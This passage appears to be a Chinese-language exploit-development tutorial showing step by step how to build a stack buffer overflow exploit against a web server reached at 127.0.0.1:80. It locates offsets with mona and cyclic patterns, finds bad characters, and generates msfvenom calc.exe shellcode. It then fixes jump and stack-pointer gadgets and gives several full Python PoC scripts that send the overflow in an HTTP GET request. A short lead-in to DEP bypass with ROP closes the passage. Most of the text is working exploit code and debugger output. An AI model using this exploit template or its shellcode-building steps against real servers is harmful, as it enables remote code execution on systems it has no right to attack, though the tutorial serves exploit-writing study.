Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B"
buffer = shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
 
# buffer = '\xcc'*20 + 'A'*947 + '0x7e4456f7' + '\xe9\x30\xfc\xff\xff'
 
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

我们会跳转到"3Av4"这个地方:

图片描述

使用mona寻找偏移量:

1
!mona po 3Av4

也可以直接找"3Av4"前面占了多少字节:

1
2
>>> len("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av")
641

我们这里使用631作为shellcode的偏移(其实641也一样的):

图片描述

检测坏字符

现在,我们可以使用msf来创建一个shellcode并将其注入漏洞利用中,但首先我们需要找出坏字符(我们不能在缓冲区上使用的字节,因为它们会破坏漏洞利用)。
为了找出坏字符,我们使用!mona bytearray选项。这将在工作文件夹上创建两个文件,一个bytearray.txt包含要进行攻击的数组,另一个bytearray.bin,一个使用!mona compare命令与内存中的数组进行比较的文件。如果内存上的数组与文件上的数组不同,mona会告诉我们是什么字节导致了不同,并且可以在没有这些字节的情况下重新制作数组。一旦从数组中剥离了所有错误字符,mona会告诉我们内存上的数组是“未修改的”。
当我们攻击Web服务器时,我们已经可以排除一些我们知道会破坏url的字符,例如空字节、空格、/符号和?符号。
我们使用命令!mona bytearray -cpb "\x00\x20\x2f\x3f"生成第一个字节数组,在我们的漏洞利用中复制该数组,并在jmp esp上放置断点执行进行调试分析。

!mona bytearray -cpb "\x00\x20\x2f\x3f":
–cpb 参数表示“Create Pattern Bytearray”,它后面跟着的字符串\x00\x20\x2f\x3f是需要排除的字节。

  • \x00 通常被排除,因为它是字符串结束符(null byte),它可能会导致基于字符串的函数(如strcpy)提前结束。
  • \x20 是空格字符,在某些情况下可能会被用作分隔符,导致输入被拆分。
  • \x2f 是正斜杠/,在URL或文件路径中被用作分隔符。
  • \x3f 是问号?,在URL中用来标示查询参数的开始。

图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import sys
import socket
import struct
 
offset_eip = 967
offset_shellcode = 641
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp ntdll.dll
ESP = '\xe9\x26\xfc\xff\xff'
buffer = 'A' * offset_shellcode
shellcode = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41\x42\x43"
"\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63"
"\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83"
"\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3"
"\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3"
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

执行后,我们可以看到EIP等于"45454545",访问冲突。这是因为某些字符串破坏了我们的缓冲区(正常的话应该是jmp esp),并且覆盖EIP的偏移量已经更改。

图片描述

0x0e处有截断,前面的0x0d可能是坏字符。

图片描述

重新生成检测的bytearray:

1
2
3
4
5
6
7
8
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22"
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41\x42\x43\x44"
"\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64"
"\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84"
"\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

结果还是和之前相同重复操作几次,把0x0b0x0a0x09都去掉,也就是:

1
!mona bytearray -cpb "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09"

图片描述

1
2
3
4
5
6
7
8
"\x01\x02\x03\x04\x05\x06\x07\x08\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26"
"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8"
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8"
"\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

现在可以断在jmp esp上面了:

图片描述

我们也可以使用mona compare验证一下,找到我们0x01的地址:

1
2
3
4
5
6
7
8
9
0:003> db 00c7e750
00c7e750  01 02 03 04 05 06 07 08-0e 0f 10 11 12 13 14 15  ................
00c7e760  16 17 18 19 1a 1b 1c 1d-1e 1f 21 22 23 24 25 26  ..........!"#$%&
00c7e770  27 28 29 2a 2b 2c 2d 2e-30 31 32 33 34 35 36 37  '()*+,-.01234567
00c7e780  38 39 3a 3b 3c 3d 3e 40-41 42 43 44 45 46 47 48  89:;<=>@ABCDEFGH
00c7e790  49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58  IJKLMNOPQRSTUVWX
00c7e7a0  59 5a 5b 5c 5d 5e 5f 60-61 62 63 64 65 66 67 68  YZ[\]^_`abcdefgh
00c7e7b0  69 6a 6b 6c 6d 6e 6f 70-71 72 73 74 75 76 77 78  ijklmnopqrstuvwx
00c7e7c0  79 7a 7b 7c 7d 7e 7f 80-81 82 83 84 85 86 87 88  yz{|}~..........

0x7e4456f7下断点,然后运行:

1
!mona compare -f "C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin" -a 0x00c7e750

可以看到unmodified,也就是说我们是正确的。

图片描述

现在我们创建一个没有错误字符编码的msf的shellcode。目前,我们只执行经典的calc.exe。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(name㉿kali)-[/opt/metasploit-framework/embedded/framework]
└─$ msfvenom -p windows/exec CMD=calc.exe -b "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" -f c --arch x86 --platform windows
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 952 bytes
unsigned char buf[] =
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74";
  • -p windows/exec 选择了 windows/exec 模块,用于在 Windows 系统上执行命令。
  • CMD=calc.exe 指定了 shellcode 执行的命令,即启动计算器。
  • -b "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" 指出了需要排除的坏字符集合。
  • -f c 表示输出格式为 C 语言代码。
  • --arch x86 确保生成的 shellcode 是针对 x86 架构的。
  • --platform windows 指定了目标平台是 Windows。

当前poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys
import socket
import struct
 
offset_eip = 967
offset_shellcode = 631
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp ntdll.dll
ESP = '\xe9\x26\xfc\xff\xff' # jmp $-971:
buffer = 'A' * offset_shellcode
shellcode = (
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

运行构造好的poc,进行逐步调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:002> bp 7e4456f7
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -
0:002> g
Breakpoint 0 hit
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=7e4456f7 esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
USER32!DeregisterShellHookWindow+0x5437:
7e4456f7 ffe4            jmp     esp {00c7dc6c}
0:003> p
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=00c7dc6c esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
00c7dc6c e926fcffff      jmp     00c7d897
0:003> p
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=00c7d897 esp=00c7dc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
00c7d897 b8a2f2d413      mov     eax,13D4F2A2h
0:003> dc eip
00c7d897  d4f2a2b8 d9d0d913 5af42474 31b1c929  ........t$.Z)..1
00c7d8a7  83134231 420304c2 ef2110ad 10ca5659  1B.....B..!.YV..
00c7d8b7  f5423799 7d3077a8 d332479a c0162316  .7B..w0}.G2..#..
00c7d8c7  e7bf41ad c699ef06 49d95c97 aa0e9f1b  .A.......\.I....
00c7d8d7  ab435022 f9ae8d63 ee1dd93c 859d9749  "PC.c...<...I...
00c7d8e7  7aa63901 2c8738d1 ce07636a c80e1fbf  .9.z.8.,jc......
00c7d8f7  63d81adc a5dbd016 88771967 cc89e848  ...c....g.w.H...
00c7d907  24fc136e f307ae8d e08d74ec cd35fe56  n..$.....t..V.5.
0:003> u eip
00c7d897 b8a2f2d413      mov     eax,13D4F2A2h
00c7d89c d9d0            fnop
00c7d89e d97424f4        fnstenv [esp-0Ch]
00c7d8a2 5a              pop     edx
00c7d8a3 29c9            sub     ecx,ecx
00c7d8a5 b131            mov     cl,31h
00c7d8a7 314213          xor     dword ptr [edx+13h],eax
00c7d8aa 83c204          add     edx,4

我们可以看到我们处于 shellcode 0xb8a2f2d413 的开头。我们继续执行。如果一切顺利的话会弹出计算器,但我们却遇到了访问违规:

1
2
3
4
5
6
7
8
0:003> g
(6c8.5c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=000000c8 ecx=0000b48d edx=0000000e esi=00c7dd66 edi=00c7ff53
eip=00c7d94b esp=00c7dc70 ebp=00c7d8b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
00c7d94b 0000            add     byte ptr [eax],al          ds:0023:00000002=??

EIP: 0x00c7d94b
ESP: 0x00c7dc70

ESP指向堆栈上EIP下方的内存区域,EIP当前指向堆栈上的指令。因此,如果shellcode执行pop并弹出堆栈中的值,则shellcode本身可能会损坏。为了解决这个问题,我们必须将ESP移动到EIP指向的地址(我们的shellcode所在的地址)上方。我们使用msf的asm来获取对应的指令。
这个实现方法是从ESP中减去1000字节:

1
2
3
4
5
┌──(name㉿kali)-[/opt/metasploit-framework/embedded/framework]
└─$ /opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell.rb
nasm > sub esp,3e8h
00000000  81ECE8030000      sub esp,0x3e8
nasm >

也可以使用metasm生成:

1
2
3
4
5
6
7
8
┌──(name㉿kali)-[/opt/metasploit-framework/embedded/framework]
└─$ /opt/metasploit-framework/embedded/framework/tools/exploit/metasm_shell.rb
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file
 
metasm > sub esp,3e8h
"\x81\xec\xe8\x03\x00\x00"

我们可以看到生成的指令具有空字节(\x00),因此我们不能使用它。这可以通过使用负值进行添加操作来解决:

1
2
metasm > add esp,-3e8h
"\x81\xc4\x18\xfc\xff\xff"

我们得到相同的结果,但这次没有空字节。现在,我们将这个指令放在漏洞利用的jmp $-971之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import socket
import struct
 
offset_eip = 967
offset_shellcode = 631
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp ntdll.dll
 
# bad bytes: "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09"
 
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h; 6 bytes
ESP += '\xe9\x26\xfc\xff\xff' # jmp $-971; "\xe9\x2a\xfc\xff\xff": jmp $-977
buffer = 'A' * offset_shellcode
 
# windows/exec CMD=calc.exe
shellcode = (
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

还是没有准确落到shellcode上面,手动查一下,shellcode在0x00c7d897

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:003> r
eax=00000000 ebx=000000c8 ecx=7c90f641 edx=00000007 esi=00c7dd66 edi=00c7ff53
eip=00c7d8a1 esp=00c7d884 ebp=0000000e iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
00c7d8a1 f4              hlt
0:003> dc 00c7d897
00c7d897  d4f2a2b8 d9d0d913 5af42474 31b1c929  ........t$.Z)..1
00c7d8a7  83134231 420304c2 ef2110ad 10ca5659  1B.....B..!.YV..
00c7d8b7  f5423799 7d3077a8 d332479a c0162316  .7B..w0}.G2..#..
00c7d8c7  e7bf41ad c699ef06 49d95c97 aa0e9f1b  .A.......\.I....
00c7d8d7  ab435022 f9ae8d63 ee1dd93c 859d9749  "PC.c...<...I...
00c7d8e7  7aa63901 2c8738d1 ce07636a c80e1fbf  .9.z.8.,jc......
00c7d8f7  63d81adc a5dbd016 88771967 cc89e848  ...c....g.w.H...
00c7d907  24fc136e f307ae8d e08d74ec cd35fe56  n..$.....t..V.5.
0:003> u 00c7d897
00c7d897 b8a2f2d413      mov     eax,13D4F2A2h
00c7d89c d9d0            fnop
00c7d89e d97424f4        fnstenv [esp-0Ch]
00c7d8a2 5a              pop     edx
00c7d8a3 29c9            sub     ecx,ecx
00c7d8a5 b131            mov     cl,31h
00c7d8a7 314213          xor     dword ptr [edx+13h],eax
00c7d8aa 83c204          add     edx,4

原本的栈中往低地址处跳的跳转有问题,我们需要调整一下:

图片描述

图片描述

1
2
metasm > jmp $-987
"\xe9\x20\xfc\xff\xff"

其中\0x20是坏字符,需要修改一下poc,offset_shellcode改为641,对应:

1
2
metasm > jmp $-977
"\xe9\x2a\xfc\xff\xff"

完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import sys
import socket
import struct
 
offset_eip = 967
offset_shellcode = 641
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp ntdll.dll
 
 
# bad bytes: "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09"
 
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h
ESP += "\xe9\x2a\xfc\xff\xff"
buffer = 'A' * offset_shellcode
shellcode = (
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

可以看到已经弹计算器了,我们的exp已经成功利用:

注意!!后来shellcode我换了一个新的,所以文章中的shellcode可能对不上,但是原理是一样的

图片描述

漏洞利用绕过DEP

前言

在上一篇文章中,我们关闭了(其实是默认关闭)了系统的DEP,本文我们将在开启DEP的系统上绕过DEP保护来实现EXP的编写。
首先开启DEP并重启虚拟机:

图片描述

此时再运行我们的poc,发现已经无法运行了:

图片描述

windbg调试一下,发现内存非法访问:

图片描述

eip=00c7dc6c发生了内存访问冲突,因为DEP不允许我们在堆栈上运行代码,而堆栈正是我们放置和执行代码的地方。当我们激活DEP时,能够执行任意代码的方法是尝试在内存中搜索指向我们想要执行的某些指令的地址(return to libc),然后使用ret指令并将它们链接在堆栈上。构成的指令链就是所谓的 ROP(面向返回的编程)。

构造ROP

